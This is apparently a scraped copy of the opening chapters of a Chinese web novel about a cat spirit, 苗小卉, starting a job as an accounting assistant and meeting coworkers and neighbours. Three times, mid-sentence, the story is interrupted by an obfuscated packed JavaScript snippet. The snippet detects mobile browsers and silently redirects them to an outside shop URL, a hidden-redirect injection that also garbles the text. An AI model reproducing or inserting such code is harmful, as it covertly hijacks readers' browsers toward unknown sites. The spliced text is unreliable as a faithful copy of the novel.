《你好，猫咪小姐》 1. 入职 早上九点五十三分。 极具现代感装潢的会议室内，宽敞明亮。七个人围着会议桌坐着，最角落的一个穿着嫩黄色衣服的女孩，圆脸圆瞳，正在进行自我介绍。 “大家好，我叫苗小卉，是新来的会计助理，请大家多多指教。”细软的声音不大，清晰地回响在会议室中。声线很稳，任谁来也听不出她藏在胸腔里的心脏，正“咚咚咚”地跳得飞快。 话说完她就直接坐下了。她不喜欢此时被所有人看着的感觉，人们的目光会让她后背发紧，呼吸变浅，脑子里全部都变成空白。 这段介绍词是她所能想到的最简短、也是最符合新人入职的措辞。只是说完后，会议室一片寂静。正常不是应该给她鼓鼓掌吗？ 她小小地吞了一口唾沫，抬眼看向主位坐着的大领导，财务总监。但她只看了一眼，就被他沉沉的目光慑了一下。 她控制不住地瞳孔微张，连忙低下头避开他的眼光。 这一瞥足以她看清他的脸了，出乎意料的年轻。 他面无表情，但那看着她的眼神，目光幽幽，看着……像挑衅。 她抿着嘴想，人类不会无缘无故就挑衅，尤其是异性之间，自己应该太敏感了。可能是他本来就喜怒不形于色吧，又或者，单纯地不喜欢自己。 可是今天是她来这家公司上班的第一天，之前面试的时候，区区一个助理岗位，也不需要财务总监亲自出马面试。至于他们以前有没有见过…… 她眨了眨眼，垂着眼盯着眼前的桌子，手指指腹在背面轻轻挠着，鼻翼微动，释放嗅觉，她得嗅嗅才知道。 烟草味中又夹杂着一点薄荷的清凉，在会议室内一片混乱的气息中依旧有着十足的存在感。是她讨厌的薄荷味。不过她对这个气味没有记忆，理当是没见过面的。 通过气味，她还能辨别出他不是妖灵。不止是他，整个会议室七个人形生物中，就没有第二个妖灵的味道。 只有她，不是人。 是的，她是一只小猫灵，几个月大的时候就化成人形，到现在已经二十二年了。从小在妖管局的妖灵福利院里长大的，后来又去青少年妖舍中呆了七、八年。再后来，初升高成功进入人类的高中学校就读，又通过高考考上了人类的大学。 一路混在人类堆里，直至现在。想到这，苗小卉深深地呼出一口气，暗暗告诉自己，她很棒的，不用紧张，要为自己能混进来而骄傲。 就算暴露了也没有关系，还有妖管局在后面托底。 其实她胡思乱想的时间也不过几秒，总监的视线落在她齐耳的短发上，眼神平静无波，半晌才道：“很好，大家欢迎一下新来的同事。” 会议室内掌声淅淅沥沥地响起，苗小卉连忙点头，说：“谢谢。” “今日早会就此结束。”总监沉稳的话音落下，起身迈步离开。 虽然说的是“很好”，可他的语气十分冷淡，一点都算不上好。 苗小卉在心里叹气，听声音就知道这个大领导不好相处。幸好他不是自己的直系领导。她是助理，她的直系领导是会计主管。 他一走，面试过她的会计主管也赶忙跟了出去，会议室这才热闹起来。 刚刚还噤若寒蝉，此时全都围了上来。 “小卉，对吧？听说你是燕大的？”说话的人是总账会计林妙棠，戴着一副黑框眼镜，头发有点油。 这个问题不仅是她，几乎所有人都很好奇。燕大是全国的Top2大学，又是本地最好的大学之一。能来到这家公司任职的，高中时候分数都不错，基本也都将燕大当成梦中情大，只是现实往往过于残酷。 没想，她们部门的一个小小助理，居然是一位燕大的高材生。 苗小卉点头。没觉得自己以燕大——一所顶尖学校的毕业生来做一个小小的助理有什么问题。 她更注意的点是林妙棠的头发，忍不住多瞄了几眼，内心猜测着她是不是最近太忙了，没时间好好打理自己。 “厉害啊。”林妙棠赞道，眼底既羡慕又好奇，“那怎么就来我们公司了？” 他们公司虽说是国企，福利待遇还不错，但真正能拿到手的薪酬，还是比不上那些大厂的。 “问这些。咱们公司很好啊。”一道清亮的女声强势插入。为她说话的女孩子是萧乐乐，往来会计，看着比她大不了几岁，笑得十分爽朗，嘴角拉开的弧度她看了都觉得羡慕。 真好。不像她，仅仅只是被围住，就已经周身都不自在了。 她努力挤出笑容，露出浅浅的梨涡，附和道：“是的，公司很好。” 其实她去过大公司面试，说得上名字的几个大公司，她都去了。尽管投简历的人很多，但她的学校、专业绩点摆在那，基本都能进入终面。但是这些大公司的终面竟然都是群面。 她就想不通了，怎么做个小财务也要群面。 反正她做不到八面玲珑，也没办法强迫自己，每一次都是角落里最安静、最没存在感的那个。 基本上群面后就没有消息了。不过也不是完全没有。只是，当那些公司的HR联系她，沟通入职的具体岗位薪酬福利时，她听到他们薪酬组成中囊括的KPI，和末尾淘汰制，还是选择了放弃。 太卷了，一听就很累的样子。 她也是这才知道，这些公司，几乎每一家，她一踏入都能闻到的那股又馊又咸极其不好闻，让她十分难受的味道，叫做“班味”。 与真正的人类始终还是有些差别的她，在找工作的这半年来，放弃了不少明眼人看着已经是顶好的offer。 这件事传到她的导师那儿，她被导师说了，说她不争气。 这是大学四年来她第一次挨说。她很难过，也不服气。 她这么多年的努力和付出，又不是为了去一家大公司里，拼死拼活做社畜的。她只是想让自己有更多的选择，可以摸鱼耍懒又不至于饿死。 她委婉地朝导师提出，自己想去小公司当吉祥物混吃等死，话没说完就被导师打断了，直接放话说她要敢去就要像现在打断她的话一样，打断她的腿。 最后，也是导师拿她没办法，给她介绍了几家公司，这家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482240|201814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公司就在其中。 萧乐乐过来之后，苗小卉就再也搭不上话了，她也乐得不说话。就算有被问到的时候，微笑、点头、附和足以应付。 身边有一个能说会道还喜欢抢话的人类，苗小卉感觉很舒服，安全感爆棚。 不知过了多久，会议室的闲聊终于结束。苗小卉松了口气，回到自己工位。坐下，扫了一眼手机屏幕，已经是十点二十几分了。 上午的下班时间是十一点半，很好，还有一小时。 打开电脑后，苗小卉看着空荡荡的电脑桌面，除了一个“我的电脑”和“垃圾桶”以外，还有两个没见过的软件。 一个是蓝色的鸟头简笔画，下面写着“蓝讯”，不知道是什么。另一个是直接用了公司logo，红色的大写“万”字，下面写着“OA”，看着是走流程用的。除此之外，什么都没有。 她再次发起了呆。 她入职的是财务部，其实严格说来是财务核算部。整个财务核算部的办公室布局差不多是“圭”字造型，底部朝向总监办公室，头部朝向财务核算室大门。所有人的座位都是背后靠墙。包括她。 但是她现在坐着的位置就是这个“圭”字上面。所有人进门后会先绕过她身后，看到她的电脑屏幕。 她不喜欢这个工位。很妨碍她摸鱼。 她抬眼扫过一个角落，那边还空着，虽然那个位置每次总监进出都会经过，但也比这个好，她想找个机会搬过去。 此时办公室已经进入了工作状态，键盘声，鼠标声连绵不断，还很急促。感觉大家好像都很忙的样子，也没有人吃早餐。 她抿着唇，忍不住怀疑，自己是不是来错地方了。 但不应该啊。 来面试之前，她用了一顿饭请了隔壁邻居程序员帮她写了一段python，爬了各个网站关于导师推荐的那几家公司的点评，这家公司的评价最好。 本身是国企，不搞KPI那套，更没有什么末位淘汰制。任职的员工也都统一口径，事少、福利好，无一差评。就是基本工资不高。 而且，这个工作的地点离她所住的幸福小区距离很近，只需要步行八分钟，过一个红绿灯就到了。 更重要的是，她踏入公司的第一印象也很好，没有那股极其难闻的馊味。 总的来说，事少，离家近，福利好，还没班味。是她心目中少有的好企业了。 正发着呆，坐在隔壁猛敲键盘的萧乐乐起身，趴在她工位的隔板上，说：“小卉，主管让我来带你去人事部签合同。” 萧乐乐口中的主管是会计主管，也是她的直属领导，面试的时候见过，是一个看着很严谨精明的女人。只是今天，她不在那群凑热闹闲聊的人中，总监走了没多久，她也跟着离开会议室了。 “好。”苗小卉乖乖应声，随手一个“Win+L”锁了屏，起身跟她走。 萧乐乐将她的动作看在眼底，调侃道：“电脑是新的吧？没信息也要锁屏？” 苗小卉：“就是随手。” 其实她连密码都还没设置。 2. 福利 她们财务在十九楼，人事部在七楼。两人一起朝着电梯间走去。 走廊上静悄悄的，没什么人走动。每路过一个办公室都能听到里面传来键盘的敲打声。 茶水间倒是有点热闹，里面说说笑笑的。 苗小卉目不斜视实则耳朵竖起，听着四处的动静，反而没发现身边人眼神总往她身上瞟。 “你是燕京本地的吧，燕京本地考燕大应该不难吧？”萧乐乐忍不住问。 这种问话方式有点奇怪，她不由得转头看了眼萧乐乐，却又只看到她眼里的好奇和羡慕，“还好。” 萧乐乐继续追问：“那你考了什么证吗？做我们会计这一行，得考很多证书的。” “就一个初级证书。”其他证书她也不是不能考，只是能者多劳，她又不指望自己毕业以后有多出息，能偷懒就偷懒了。 “这样。”萧乐乐神情松了下来，“诶，那咱们办公室就这么几人，你都记住了吧？要不要我再给你介绍一次？” 财务总监她不知道姓甚名谁，但不重要。会计主管是吴韶君，会计主要有四个，总账会计是林妙棠，总部费用会计是成亚和分部费用会计李莱，往来会计是她萧乐乐。 这些人的职位和姓名在办公隔板上都贴着呢。刚刚开会，她听了他们给总监的汇报。大概都能将姓名和脸对上。 至于其他税务部门和资金部门不跟她在一个办公室。暂时碰不上面，就是介绍了也用不上。 “我都记住了，谢谢。”说完，为了感谢她的好心，苗小卉还附赠了一个笑容，圆瞳弯成半月，嘴角弯弯，笑起来的时候苹果肌提起，还能看到两个小虎牙。 萧乐乐眨了眨眼，被她的笑可爱到了，完全忘记自己刚刚提了什么问题，喃喃道：“你好可爱啊。”好像她家隔壁的那只小白猫，软软的，想捏。 她眼底的渴望太过明显，足以让苗小卉拉响脑子里的警报，脚下的步伐开始加快。还是赶紧到人事部吧。这个人类的眼神很危险。 人事部七楼，一晃就到了。 萧乐乐带着她来到一个工位前，“这是人事主管卢自强。这是我们部门新来的同事，苗小卉。”萧乐乐给他们俩介绍。 苗小卉看了过去。 卢自强这个名字起得很有年代感，其实看起来不大，脸庞微黑，蓝衬衫黑西裤，很正式的穿着，只是衬衫有点皱，领口微微泛黄。 她的视线在领口泛黄的那块多停留了一会。 薪资福利在公司属于非公开的信息，萧乐乐送完人就回去了。卢主管带着她一起来到一间小会议室，开始签订劳动合同。 “苗小卉，是吧？我们公司的薪酬福利需要执行严格的保密制度。”卢自强翻了一下资料，强调保密性原则后，开始介绍公司的薪酬制度。 “你的基本工资月薪是三千八百，六险二金按工资标准顶格缴纳，个人部分由公司负责，会有相应的补贴，这部分有没有问题？” 她摇头，表示没有问题。这些是入职前就已经确认过的信息。 “OK，”卢自强点头，继续说：“信息上登记你家庭在本市无房，公司可以提供住宿，需要吗？” 说着从手中的蓝色文件夹中扒拉出几张图片，是公司员工宿舍照。家具齐全，看着窗几明亮。面积不大，就48平。 她突然意识到，这位卢主管人还挺好的。她登记的家庭信息是父母双亡，他却贴心地没提起这茬。 苗小卉的父母是一对未化形的布偶猫，在妖管所撒娇卖萌混吃混喝。没想到后来生下了的小猫不到几个月竟然化成了人形，把妖管局的人吓了一跳。 开始了动物与妖灵相处过于频繁是否可能引发动物妖灵化的课题。 越想越远，苗小卉连忙将思绪拉了回来，摇头，“我自己在外面租了房子了。” 卢自强：“合租还是自己住？女孩子自己住不安全。如果可以建议还是搬到公司宿舍，前后左右都是同事，相互有个照应。我们是男女分层安排住宿的。” 接连两次感受到了眼前人的好意，她忍不住笑了一下，继续摇头，“不用的，我住幸福小区，很近。” 幸福小区是妖管所在燕京的其中一处妖灵小区，上下左右住着的都是和她一样的妖灵，楼下还有间小诊所。真比较起来，设施应该比公司宿舍还齐全。 毕竟她真身是一只小猫，生病了可没办法去正规医院。 “幸福小区，”卢自强看了眼她嘴角的梨涡，顿了一下，“也行，听说那边社区管理非常好。”距离比公司宿舍还近。” “那就改成补贴，按照你的职级标准，一平米补50元，你这边住房补贴是2400元。” 这是她意想不到的收入！苗小卉双眼圆睁，乐了。她租的幸福小区单间，五十平，妖管所给了优惠，一个月才1500元呢。这一来一回，还倒挣900！ “接下来是高校和证书补贴。你的学校是最高的一级补贴，1500，初级职称证书补贴300，一共1800。后续你考了研究生或者中、高级证书补贴会再更新。另外，每月团建每人200额度由部门负责人统一安排……”卢自强把其他与薪酬相关的部分都一一给她讲解清楚。 苗小卉一边听一边点头，心里飞快计算，这样一来她一个月起码得有八千块收入。 “试用期三个月。试用期间薪酬、补贴按照80%发放，正常缴纳六险二金。每个月5号发当月工资，大概就这些了。你还有其他不清楚的吗？”卢自强问。 苗小卉连忙摇头，“没有了。”已经很多了，超乎她想象之外的多。 难怪当时看评论的时候，不止几个人都强调福利非常好。她在心里笑得合不拢嘴。 “有也没关系。”卢自强笑了一下，不知道怎么，总觉得面前的女孩很可爱，“加一下绿泡泡吧？如果有什么不清楚的可以随时给我发消息。” 说完，他主动拿出手机，亮出二维码。 这语言这动作，压根就没给她拒绝的机会。她只好拿出手机，扫描二维码，加上这个新朋友。 她的绿泡泡上的朋友寥寥无几，她一不爱发朋友圈，二不爱找人闲聊。每天只想过好自己的小日子。 朋友多对她来说，反而是一种负担。 卢自强看着加上的微信，笑着说：“喵？这个名字不错。” 苗小卉：“是吗。”她也这么觉得。 算了，看在眼前这个人这么有眼光、人又好的份上。加了就加了吧。 签完合同，拎着本人事赠送的员工手册，苗小卉慢悠悠地哼着不成调的小曲回到办公室。公司的福利，只能用一句话来说，她十分满意。 有了这些补贴，起码能在上班这件烦人的事情上找到点安慰。 刚进入办公室，办公室内的人都抬眼看了门口的她一样，没人对她开心的模样意外。毕竟当时他们签合同的时候，听到福利后也笑开了花。 同事们只扫了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482241|201814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼就移开了视线，苗小卉也没什么感觉。自顾自地坐到自己工位上。刚坐下，绿泡泡上，谢导师的消息就过来了。 -谢导师：今天是你的第一天入职，感觉怎么样？ -喵：还可以。刚去签了合同 -谢导师：好。你是新人，记得要主动找事情做，知道吗？ -喵：知道了 她应得很快，却一直坐着没有动。她是助理，又不是主理。 如果有事情需要她做，他们应该自己会找她，不需要她主动。苗小卉咸鱼地想着。 没想，过了会，谢导师的信息又过来了。 -谢导师：还有，你这个微信名改一下，入社会了，别太幼稚 -喵：可是刚刚同事还说我的微信名字挺好的 -谢导师：男的女的？ -喵：男的，人事主管，人挺好的 -谢导师：你刚入社会，别离男的太近了。有什么不对劲的就跟你领导说 -喵：好的 看着屏幕上谢导师的话，苗小卉笑了一下，谢导师未免担心太早了。她是猫，又不是人，没打算找一个不同物种的伴侣。 “笑什么呢？对着手机笑得这么开心，是男朋友吗？”隔壁的萧乐乐好像空下来了，找她搭话。 苗小卉收起笑意，懒洋洋地回她，“是我导，说了个好笑的事情。” “燕大的教授啊……”萧乐乐喃喃道，没再追问，起身道：“走吧。我们去吃饭了。” 现在？她瞄了眼电脑，显示时间才十一点十五分，还没到十一点三十分的午休时间，“现在下去会不会太早了？” 萧乐乐满不在乎地摆手，“不会。而且也没人敢找咱们财务部的茬。分批吃饭不凑热闹，他们感谢我们还来不及呢。你没看其他人都走了吗？” 苗小卉这才发现，除了萧乐乐还在以外，其他人都已经不在办公室了，大概是刚刚她跟导师闲聊的时候走出去的。 原来财务部这么厉害，她在心里暗叹。 跟着萧乐乐来到三楼的饭堂，一进饭堂，苗小卉的眼就亮了。双瞳瞪得极圆，她闻到了好多鱼的味道。 整个三楼都是饭堂，所有的饭菜都装在一个能加热保温的铁盒子中，供员工自助取用。 此时整个食堂人还很少。她也看到了其他不认识的人，大概都是些比较有话语权的部门的人吧。 视线没受限，她一边看着，一边在内心默默地数着，十个一排二十个一行。一共五行，一共得有一百个铁盒子吧。旁边还有饭、粥和汤。 “好丰盛啊……”她没想到离开了学校，还能在公司看到食堂，尤其是这个自取看着比学校食堂还高级。 “高级吧，怎么样，感觉有没有比你们燕大的食堂好？”萧乐乐说。 苗小卉连连点头。 见她这样，萧乐乐的手有点痒，总觉得自己手机里常用的那个“猫猫点头.jpg”具象话了。 “你刚入职，今天先用我的卡刷吧。走，我带你拿菜去。”说着率先朝拿托盘的地方走去。 苗小卉连忙跟在后头，她是真的饿了。 油焖三文鱼腩，拿一点。鼓汁蒸鱼头，拿一点。麻辣鲫鱼……嗯算了，她吃不了辣。红烧豆腐鱼，再拿一点。 不知不觉，苗小卉拿了整整一盘的鱼肉，还有一小碟的白米饭。 萧乐乐：“……”她惊呆了。 这家伙不会真的是猫吧？挑的全是鱼。 3. 人情 吃完饭，趴在工位上饱饱地睡了一觉。在细碎的说话声和键盘声中醒来。她先是抻了一个懒腰。刚好两点。 转头四处看了看，连萧乐乐都不知道跑哪里去不在工位上。看来她们下午的工作热情比较低啊。这样想着，她在犹豫是要掏出手机出来玩还是将那本人事给的员工手册小册子拿出来看看。 正常情况下，依着她咸鱼的性子，肯定是不带犹豫直接拿起手机来刷橙色App的。但是一想到早上的工资加福利……嗯，公司给的实在是太多了。多到她不好意思摸一天的鱼。 算了，她还是伸手拿起桌面那本封面黄扑扑的小册子，随手翻了起来。都是一些很无聊的信息。 比如员工忠诚，薪酬保密和公司的考勤休假说明等等。她着重看了年假部分。 “新入职员工每人每年可享有五天年假，按照在司年年龄，每年增加一天，十五天封顶。” 也就是说，她十年后每一年都可以享受十五天的有薪年假是吧。苗小卉在脑海里遐想着。 阳光，海岸，沙滩，鱼……她已经在畅想休假时间去哪里玩了。 “听说你们办公室来了个新人？还是燕大的？可是之前丁总不是说要内推吗？”声音微弱，依旧传到了无所事事的苗小卉耳中。 事不关己高高挂起，事若关己耳朵竖起。 她现在就是这个情况，视线从册子上挪开，看向一墙之隔的走廊，声音是从门外传来的。她们说得很小声，但她的猫耳朵可比人类的耳朵还要灵敏好几倍。 “是啊。哎，别提了。等我知道这事的时候，录取通知都发出去了。”这道声音很熟悉，就是那位面试她的会计主管的声音。 “也是，谁看到这个学校的求职者不兴奋呢。那现在怎么办，炒了？或者，借机让她过不去试用期？”那道女声再次响起，语气中的幸灾乐祸十分明显。 “我也正头疼着呢。祸祸一个年轻的小姑娘我也不好意思啊，算了，走一步看一步吧……” 两人是边走边聊的，越走越远，微弱的声音越来越小直至消失不见。 苗小卉的脸皱到一起，怎么刚醒就听到这么天大的噩耗啊。不是吧，不要这样对她啊。她才刚开始对这个公司有归属感。 握着员工册子的手不自觉的攥紧，纸张的褶皱如同她此时心里的杂乱，无序又醒目。 怎么办啊……直到快下班，她都没想出一个好办法。 四点五十分，办公室开始蠢蠢欲动。清洗杯子，整理桌面，收拾东西，这就开始走下班流程了。她甚至还看到隔壁的萧乐乐连电脑都关好了，就着屏幕掏出一根口红补妆。 “走了。”“走了，小卉。”“拜拜。”“拜拜。” 五点整。办公室里除了她，再也看不到第二个人影了。 这么高的下班效率，这么好的公司，她真的只能待三个月吗？叹了口气，她慢悠悠地开始收拾东西。打卡，下班。 七月的燕京气温很高，又热，又闷。就算此时已经是下午五点了，温度还是居高不下。 看着远处的阳光，苗小卉下意识地压了压头上的嫩黄色鸭舌帽，出了办公大楼，走进热浪中。 热死了！ 她瞬间自己感觉进了一个热烘烘的环境。她是真的很讨厌夏天。 绕道先去一趟超市，她家里的东西都吃完了，得去超市进点货。一进超市，苗小卉的脚就跟有自己的思想似的，下意识地就朝鱼类销售柜方向走去，然后，再也挪不动步子。 水产特有的腥味伴随着潮湿的水汽扑面而来。 这个味道真好闻。她又想吃鱼了。苗小卉抿嘴。她今天想吃那种片好的、没有刺的鱼肉。 只是……她扫了眼鱼片下面的标签，170/kg。好贵啊。 但是今天是她第一天上班，为了庆祝，应该是可以吃的吧。舔了舔嘴唇，瞬间说服了自己。 抽出一个塑料袋，开始动手装鱼片。 在超市买了鱼和蛋后，拎着东西走路回家。 她的生活很简单，领完毕业证后，凭着超好的手气抽到了幸福小区的租赁权，一厅一厨一卫一卧。从学校搬出来以后就一直住在这。房租一千五，日常生活开销也大概是一千五左右。 没挣钱之前她都是跟妖管所借钱度日的。学费，开销，零零散散地欠了一大堆，她也不知道自己欠了多少，反正至少得五位数往上吧。 欠钱这种事，就跟身上的虱子一样。要么一个都不要有，要么就养着吧，反正多了以后愁也没用，反而不用愁。 回到家才六点。时间还很早。 她先试了一下最近网上特别火的蒜香鱼片，拿出三分之一先尝试着做了一遍。可惜少油少盐，做出来的效果根本没有作者吹嘘的那么好吃。 从收藏夹中找出那个发布蒜香鱼片制作方式的帖子，她认真地在下面评论着：“我没下辣椒，也没下那么多油和盐，吃起来有点干巴巴的，是不是最好加一点水？” 暂时没得到回复。她也不在乎。将剩下的三分之二鱼片再做了一遍，这次重油了不少，出品的鱼片油润有光泽，看着比刚刚的好吃不知道多少倍。 她先尝了一口，鱼片嫩滑，蒜香浓郁，好吃到爆炸。再次欣赏完自己的厨艺后，她端着鱼片，来到隔壁502敲门。 “叩叩叩。”节奏的三声有序响起。过了一会，门开了。 开门的人是一个头发乱糟糟，有着明显黑眼圈的男人。他抬眼看了眼苗小卉，随手抓了抓头上乱糟糟的头发，嗡声嗡气道：“干嘛？” 扑面而来的竹香味，气息中带着些许压制，让她不由自主地后退了一小步。她都不知道之前自己胆子怎么那么大，还敢请他帮忙写爬虫程序。 咽了一口口水，讨好地捧起手中的碟子，她小心地回答：“之前说好的要请你吃一顿饭的，我今晚做了鱼，你要不要试试？” 男人垂眸看了眼她手捧着的蒜香鱼片，还冒着热气，香味是有的，就是看着分量也太少了些。而且……男人好笑，就这么一小碟子肉片，怎么她脸上的神情，好似在割心头肉一般。 “不要鱼。” “那你要吃什么？”苗小卉意外，圆瞳微怔，“我去买。”欠钱就算了，人情她可不想欠。 “你去隔壁世贸大厦楼下的TrotterCoffee给我带杯咖啡吧。不加糖不加奶。” 只要咖啡，那种苦苦的涩涩的东西，比她手上的这个蒜香鱼片还要好吃吗？ 果然，不同物种就是很不一样。 但本心而言，该劝还是要劝的，“那个，晚上喝咖啡会睡不着的，你看你黑眼圈已经这么严重了。要不，我明天早上给你带？” “……不用。”男人有一瞬的无语。 他是熊猫，黑眼圈是自带的，天生的。隔壁503的这只小猫真没常识。 许是懒得跟她掰扯，他没再说话，转身回了房，也没关门，就让大门虚掩着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482242|201814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“一会来了就推门给我送进来，我忙着呢。” 苗小卉应下，先回自己家将鱼肉用保鲜膜包好放进冰箱，再背上小挎包，急匆匆地出门往隔壁的世贸大厦买咖啡去了。 此时已经快九点了，她怕咖啡店关门了。但来到咖啡店门口的时候，才知道自己多虑了。 门口玻璃上写着营业时间从零点到二十四点。噢，还是一家不睡觉的咖啡店，跟502那位一样。 世贸大厦她之前面试的时候也来过，楼上全是大公司，班味重得她在楼下都能闻见。此时一抬头，整栋楼几乎都是亮着的。 啧，真卷。她的选择才是对的，这些公司都不能选。但一想到自己的实习期可能过不了，心情瞬间又沉重了起来。 走进灯火透亮的咖啡店，原木极简的装潢再好看也没能让她的心情好转。 径直走到前台点单，“你好，一杯咖啡，不加奶不加糖。” “那很苦的，小姐您确定吗？”前台的小姐轻柔地提醒道。 见苗小卉点头，才在点单机子上下单，下完单递给她一张小纸条，“一会凭单过来前台领噢。” 苗小卉接过单，看了眼餐厅内的人，找了一个相对人少的角落，走过去，想在角落坐着等。 没想到，正走着，感觉身后的气流正在奇怪地涌动着，警觉地转过身来。 在她身后一步距离，一个送餐的服务员，和一个急匆匆要走的顾客碰到了一块。服务员被撞了一下，托盘上那杯热气腾腾的咖啡已然倾斜。 她“嗖”地一下，闪身站到一边，顺手捏住那杯咖啡的杯耳。 与此同时，来自不同方位的“小心”才响起，此起彼伏。都是看到这一幕的好心人出声提醒。 服务员跟顾客两人一起重重地摔倒在地，塑料托盘也跟着“啪”地一声砸到地上。但除了这些声响以外，咖啡店内一片寂静。 所有人望着站在一旁完好无损的女孩，圆圆的脸蛋，齐耳的短发，一副甜美软萌的模样。完全想象不出来她怎么能在在躲闪之际，还能趁乱捏起那杯滚烫的咖啡。 动作竟然快得看不清楚。 店长连忙跑了过来，扶起倒地的顾客，“抱歉，您没事吧？” 另一个摔倒的服务员也站了起来，顾不上自己摔疼的地方，连忙拿起托盘向苗小卉致谢，“谢谢。幸好有你拿起咖啡。”语气中仍是一副惊魂未定的模样。 道谢后，服务员将咖啡送到客人手中，又回到原位置上跟着店长一起问候顾客。 苗小卉没兴趣围观，站得远远的，但还是觉得全店的人若隐若现的视线都落在了自己的身上，让她好不自在。 很快，她的咖啡好了，在前台领了咖啡，飞也似地跑了。甚至都没理会身后店长的呼唤。 她不知道，自己错过的是一次免单的机会。 门外，离咖啡店最近的马路上，停着一辆打着双闪的黑色迈巴赫。 助理跑过来，上了副驾，将手中咖啡递给后座，“温总。” “谢谢，没事吧？”后座的男人一身板正的西装，深色面料衬得他肤色越发冷白。眉眼深邃，眼神很淡，但被望着的人却觉得自己受到了重视。 助理连忙低头不敢再看，只说：“刚刚幸好有个小姑娘端住了那杯咖啡。” “嗯，”温珩看到了，那道嫩黄色的身影，动作确实很快。“开车吧。” 黑色的迈巴赫驶入车流之中，朝机场方向疾驰。 4. 熬夜 一路小跑回到幸福小区，刷了门禁正要进入，身后传来一道声音，由远及近，“等等，等我。等我一下。” 声音不大，落入她的猫耳朵中异常清晰。哦，是那只超多话的老鼠。 来人是一个中年男人，短衫长裤，尖嘴猴腮，笑眯眯的，眼尾的鱼尾纹比菊花还要密集。唯一可取之处便是那双眼睛，滴溜溜地看着十分聪明，可惜被一副大大的黑框眼镜遮住了。 “嗨，小猫小姐，你怎么也现在才回家啊？”声音尖细单薄，像一根细针轻轻扎在空气里，这声音她听着也难受。 但多年的素质教育教导，迫使她做不出太多没素质的事，只能轻轻点头，淡淡道：“嗯。”没有一点继续交流下去的念头。 她不理解这只老鼠为什么每次都要跟她打招呼，还要带上“小猫”二字。老鼠遇到猫难道不应该有多远躲多远吗？ 这个问题她想不清楚，正如她不理解这么一只老鼠为什么要执着于站在镁光灯下，做一个演员。 不理解，但尊重。她没有将心底的问题问出来，只是一昧地加快脚步。只是幸福小区并不小，她在2栋，更糟糕的是，这只老鼠也在2栋，2栋顶楼。 这意味着，从小区门口到她所在的五楼楼层为止，她都要忍受这只老鼠的唠叨。 老鼠完全没察觉到苗小卉毫无往下交流的心思，自顾自说道：“我也是现在才下班。今天终于接了一个跑龙套的工作，不需要再继续装死了。唉，其实装死这件事我也是很有心得的……” 他的话真的好多，苗小卉抿嘴，点头表示同意。她不能插嘴，上次就是因为好奇一时兴趣插嘴多问了一句，被这只老鼠抓住聊了整整一个多小时。 脚下的步伐越来越快。两人穿梭在小区小道上，周围都是森森的树木。夜风习习，吹过树叶，憧憧暗影，不知会不会随时迸出点什么东西来。她还是尽快回家吧，外面还是太危险了。 “其实我觉得当演员也不需要有长相有身高啊，最重要的还是演技……”老鼠依旧喋喋不休，烦躁，却也帮她降低了几分走夜路的惊悚感。 穿过小道，进了电梯。 “唉，对了，我听说你进了大公司？果然会读书就是很厉害，多了好多选择，我以后也要监督我女儿好好读书……”老鼠拿着不知道从哪里听来的小道消息，继续同苗小卉闲聊。偏偏他的小道消息还是对的。 “叮……”五层到了。 她深吸了一口气，对着比她才高一个头的男人说了一句：“其实我也只是一只没有做好本职工作的猫，不用这样夸我。”说完，步行走出电梯。 电梯内的老鼠还在发懵，“什么本职工作？” “抓老鼠。”随着话音落下，电梯门“啪”地合上，带着老鼠朝顶楼而去。 她转身朝502房走去。希望经过这次对话，那只老鼠下次再见到她，能自觉地躲得远远的。她是一只低精力小猫，没能耐在上了一天的班后还要继续同人说话应酬。 她先将咖啡给502的邻居送了，又贴心地帮他关上门，回到家里，关上大门，终于重重地吁出一口气。总算是将这个人情还完了，一天最美好的时间开始了。 拉上窗帘，进了浴室，将身上的衣服脱掉丢进旁边的洗衣机里，然后给自己洗了一个战斗澡。 当浴室里水声结束，白色的木门再次打开时，一只洗的干净喷香的小猫走了出来。 灰蓝的猫瞳如同蓝宝石一般，脸颊往上与尾巴同色，都是浅灰色的毛发。除此以外，浑身雪白，如同雪球一般蓬松软糯。 来到床边，她四只猫爪子优雅地踩了踩床边的小毛巾，清理干净后，弓起背部，整只猫跳到床上，钻进了提前铺好的被窝之中。 啊，真的是太舒服了，苗小卉舒服得从喉咙里冒出一阵细弱的咕噜声，蓬松的猫尾巴在身后轻摇慢摆。 床上的被子被她团起，四周隆起中间微底，恰好能将她这只猫圈在中间。 此时已经十点多了，十点开始就是她的睡觉时间。不过，今日她还不困，从妖灵空间中掏出手机，猫爪子在手机屏幕上轻点，打开橙色软件，开始刷手机。 过几天她就要发工资了，她想给自己买个猫窝，那种超级大的带猫爬架通天柱的猫窝，她想很久了。 